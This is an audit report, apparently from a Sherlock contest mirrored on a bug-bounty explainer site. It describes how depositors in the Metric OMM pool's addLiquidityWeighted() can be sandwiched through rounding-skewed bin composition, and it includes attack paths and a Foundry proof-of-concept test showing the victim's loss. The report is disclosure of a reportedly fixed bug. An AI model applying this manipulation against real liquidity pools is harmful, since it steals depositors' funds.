`addLiquidityWeighted()` cursor bounds do not prevent depositors from being arbitraged when bins are imbalanced
The cursor bounds added to addLiquidityWeighted() only check the bin and position, not the bin's actual token composition, so a depositor can still be sandwiched when the bin is imbalanced. An attacker can manipulate the bin's token ratio through rounding or an oracle shock, then arbitrage the victim's deposit even though the cursor check passes.
Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2932
Found by
Kvar
Summary
Issue M-1 from Sherlock’s collaborative audit showed that an LP could be sandwiched because addLiquidityWeighted() did not protect against cursor manipulation. The fix added cursor bounds, allowing the LP to specify the bin and position range they accept.
However, a bin’s token composition can differ from what its cursor indicates. In this case, the cursor check passes, but the LP deposits according to the manipulated token ratio and can be arbitraged afterward.
Root Cause
MetricOmmPoolLiquidityAdder::addLiquidityWeighted() checks that the current bin and position are within the user’s bounds.
However, liquidity added to a non-empty bin is calculated proportionally to its existing token0BalanceScaled and token1BalanceScaled. These balances can become inconsistent with the cursor.
Therefore, a user can provide correct cursor bounds while still depositing into an imbalanced bin.
This state can be created through a first-depositor rounding attack or an oracle shock. The known oracle-shock issue describes arbitraging existing LPs. This issue affects a new LP depositing into that state.
Internal Pre-conditions
In two of the three explained scenarios, the target bin must be empty.
External Pre-conditions
In one of the three explained scenarios, an oracle shock must cause the bin composition to no longer match its cursor.
Attack Path
Attack path 1:
NOTE: The PoC below shows this exact attack path.
This attack requires minimalMintableLiquidity to be 1. This is not a misconfiguration because the documentation states:
Must be non-zero. Too high excludes small LPs; too low can increase dust and rounding edge cases.
The documentation only warns about dust and rounding edge cases. However, the PoC shows that these rounding effects can lead to direct loss of LP funds.
- A pool is created for two equally priced tokens. Both initial scaled amounts per share are
1e18. - Alice is the first depositor in bin
0and deposits1e18shares. - Alice swaps one wei outward, moving the cursor slightly away from the boundary.
- Bob submits
addLiquidityWeighted()with cursor bounds that accept this small movement. - Alice front-runs Bob and removes all but one share.
- Due to rounding, the remaining share is backed by
1 weiof token0 and1 weiof token1. The bin now has a 1:1 composition, while the cursor remains near the boundary. - Bob’s cursor check passes, and his deposit is calculated using the manipulated 1:1 composition.
- Alice back-runs Bob and arbitrages his deposit.
The PoC runs the same swaps twice. When Alice does not remove her liquidity, Bob does not lose funds. When Alice removes all but one share and creates the incorrect 1:1 composition, Bob loses funds.
Attack path 2:
A similar imbalance can be created with a minimum liquidity of 1,000, which is the value used in the protocol’s tests:
- Alice deposits
1e18shares. - She swaps one token unit outward.
- She removes
1e18 - 1,000shares, leaving1,000shares backed by approximately1,000units of token0 and1unit of token1. - Alice adds one share and then removes one share.
- Adding the share rounds both required token amounts upward. Removing it returns one token0 unit but rounds the token1 withdrawal down to zero.
- Each loop therefore adds one token1 unit to the bin without changing its shares, token0 balance, or cursor.
- After roughly 100–200 loops, depending on the pool parameters, the imbalance can become large enough for the attack to be profitable.
- Bob’s deposit passes his cursor bounds but uses the manipulated composition.
- Alice back-runs Bob and arbitrages his deposit.
Impact
A depositor can lose funds through arbitrage even though the cursor is within the range they accepted. The cursor check passes, but the deposit still uses a manipulated token composition.
PoC
Create a new test file in metric-periphery/test:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;
import {MetricOmmPoolBaseTest, Q64} from "../lib/metric-core/test/MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "@metric-core/MetricOmmPool.sol";
import {MetricOmmPoolDeployer} from "@metric-core/MetricOmmPoolDeployer.sol";
import {BinState} from "@metric-core/types/PoolStorage.sol";
import {LiquidityDelta} from "@metric-core/types/PoolOperation.sol";
import {PoolFeeConfig} from "@metric-core/types/FactoryStorage.sol";
import {MetricOmmPoolLiquidityAdder} from "../contracts/MetricOmmPoolLiquidityAdder.sol";
contract NearBoundaryCompositionSandwichPoC is MetricOmmPoolBaseTest {
MetricOmmPoolLiquidityAdder internal liquidityAdder;
function setUp() public override {
super.setUp();
BinState[] memory nonNegativeBins = new BinState[](1);
nonNegativeBins[0].lengthE6 = 50_000;
BinState[] memory negativeBins = new BinState[](1);
negativeBins[0].lengthE6 = 50_000;
pool = MetricOmmPool(
poolDeployer.deploy(
MetricOmmPoolDeployer.DeployParams({
salt: keccak256("near-boundary-composition-sandwich"),
factory: address(this),
admin: admin,
adminFeeDestination: adminFeeDestination,
token0: address(token0),
token1: address(token1),
priceProvider: address(oracle),
extensions: _emptyExtensions(),
extensionOrders: _emptyExtensionOrders(),
immutablePriceProvider: true,
token0ScaleMultiplier: 1,
token1ScaleMultiplier: 1,
initialScaledAmount0PerShareE18: 1e18,
initialScaledAmount1PerShareE18: 1e18,
minimalMintableLiquidity: 1,
spreadFeeE6: 0,
curBinDistFromProvidedPriceE6: 0,
nonNegativeBinStates: nonNegativeBins,
negativeBinStates: negativeBins,
notionalFeeE8: 0
})
)
);
priceProviderTimelock[address(pool)] = type(uint256).max;
poolAdmin[address(pool)] = admin;
poolFeeConfig[address(pool)] =
PoolFeeConfig({protocolSpreadFeeE6: 0, adminSpreadFeeE6: 0, protocolNotionalFeeE8: 0, adminNotionalFeeE8: 0});
poolAdminFeeDestination[address(pool)] = adminFeeDestination;
_approveUsersForPool(address(pool));
liquidityAdder = new MetricOmmPoolLiquidityAdder(address(token0));
vm.startPrank(users[1]);
token0.approve(address(liquidityAdder), type(uint256).max);
token1.approve(address(liquidityAdder), type(uint256).max);
vm.stopPrank();
}
function _normalRatioUserLoss() internal returns (int256) {
uint256 victimBefore = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
uint104 attackerShares = 1e18;
uint104 acceptedDistance = type(uint104).max / 1e15;
// Normal case: move the cursor slightly, but keep all liquidity in the bin.
_addLiquidity(0, 0, 0, attackerShares, 1);
_swap(0, address(callers[0]), false, -1, type(uint128).max);
// The victim accepts a cursor very close to the boundary.
LiquidityDelta memory victimDelta;
victimDelta.binIdxs = new int256[](1);
victimDelta.shares = new uint256[](1);
victimDelta.binIdxs[0] = 0;
victimDelta.shares[0] = 1e18;
vm.prank(users[1]);
liquidityAdder.addLiquidityWeighted(
address(pool),
2,
victimDelta,
100_000e18,
1_000e18,
-1,
type(uint104).max - acceptedDistance,
0,
acceptedDistance,
""
);
// Run the same two swaps used in the attack case.
(uint104 balance0,,,,) = _getBinState(0);
_swap(0, address(callers[0]), false, -int128(uint128(balance0 - 1)), type(uint128).max);
_swap(0, address(callers[0]), true, int128(1_000_000e18), uint128(Q64));
// Both LPs withdraw so the victim's final loss can be measured.
_removeLiquidity(0, 0, 0, attackerShares, 1);
victimDelta.shares[0] = _getPositionBinShares(users[1], 2, 0);
vm.prank(users[1]);
pool.removeLiquidity(users[1], 2, victimDelta, "");
uint256 victimAfter = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
return int256(victimBefore) - int256(victimAfter);
}
function _roundedRatioUserLoss() internal returns (int256) {
uint256 victimBefore = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
uint104 attackerShares = 1e18;
uint104 acceptedDistance = type(uint104).max / 1e15;
// Move the cursor by one wei, then withdraw everything except one share.
// Rounding leaves that share backed by 1 wei of each token.
_addLiquidity(0, 0, 0, attackerShares, 1);
_swap(0, address(callers[0]), false, -1, type(uint128).max);
_removeLiquidity(0, 0, 0, attackerShares - 1, 1);
// The cursor still passes the victim's bounds, so the deposit goes through.
LiquidityDelta memory victimDelta;
victimDelta.binIdxs = new int256[](1);
victimDelta.shares = new uint256[](1);
victimDelta.binIdxs[0] = 0;
victimDelta.shares[0] = 1e18;
vm.prank(users[1]);
liquidityAdder.addLiquidityWeighted(
address(pool),
2,
victimDelta,
100_000e18,
1_000e18,
-1,
type(uint104).max - acceptedDistance,
0,
acceptedDistance,
""
);
// Run exactly the same two swaps as in the normal case.
(uint104 balance0,,,,) = _getBinState(0);
_swap(0, address(callers[0]), false, -int128(uint128(balance0 - 1)), type(uint128).max);
_swap(0, address(callers[0]), true, int128(1_000_000e18), uint128(Q64));
// Withdraw all remaining shares and measure the victim's realized loss.
_removeLiquidity(0, 0, 0, 1, 1);
victimDelta.shares[0] = _getPositionBinShares(users[1], 2, 0);
vm.prank(users[1]);
pool.removeLiquidity(users[1], 2, victimDelta, "");
uint256 victimAfter = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
return int256(victimBefore) - int256(victimAfter);
}
function test_compareUserLoss() public {
// Run both cases from exactly the same starting state.
uint256 snapshot = vm.snapshotState();
int256 normalLoss = _normalRatioUserLoss();
vm.revertToState(snapshot);
int256 roundedLoss = _roundedRatioUserLoss();
assertGt(roundedLoss, normalLoss);
}
}
Run test_compareUserLoss() to execute the PoC.
Mitigation
No response
Discussion
sherlock-admin4
The protocol team fixed this issue in the following PRs/commits: https://github.com/Metric-OMM/metric-core/commit/e23988251e04be48a2f4ce34a7e6786bf39b1207
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the cursor bounds check only validates the bin and position, while the deposit amount is calculated from the bin's token balances, which can be manipulated independently of the cursor.
Impact
A depositor can lose funds through arbitrage even though the cursor is within the range they accepted, because the deposit uses a manipulated token composition.
What the attacker needed
Attacker is first depositor or can manipulate bin; victim submits addLiquidityWeighted with cursor bounds; minimalMintableLiquidity is 1 or 1000; attacker can front-run and back-run victim
The fix
The protocol team fixed this issue in a commit.
How it was found
- Alice becomes the first depositor in bin 0 and deposits 1e18 shares.
- Alice swaps one wei outward, moving the cursor slightly away from the boundary.
- Bob submits addLiquidityWeighted() with cursor bounds that accept this small movement.
- Alice front-runs Bob and removes all but one share, leaving the bin with a 1:1 composition due to rounding.
- Bob's cursor check passes and his deposit is calculated using the manipulated 1:1 composition.
- Alice back-runs Bob and arbitrages his deposit.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A liquidity pool lets people deposit two tokens and later withdraw them. The pool tracks where the price is with a cursor, and a new safety check lets depositors say which cursor range they accept. But the pool also decides how many of each token you must deposit based on what is already in the bin, and that ratio can be skewed without moving the cursor. So an attacker can skew the ratio, let the victim deposit at a bad rate, then trade to profit from the victim's loss.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.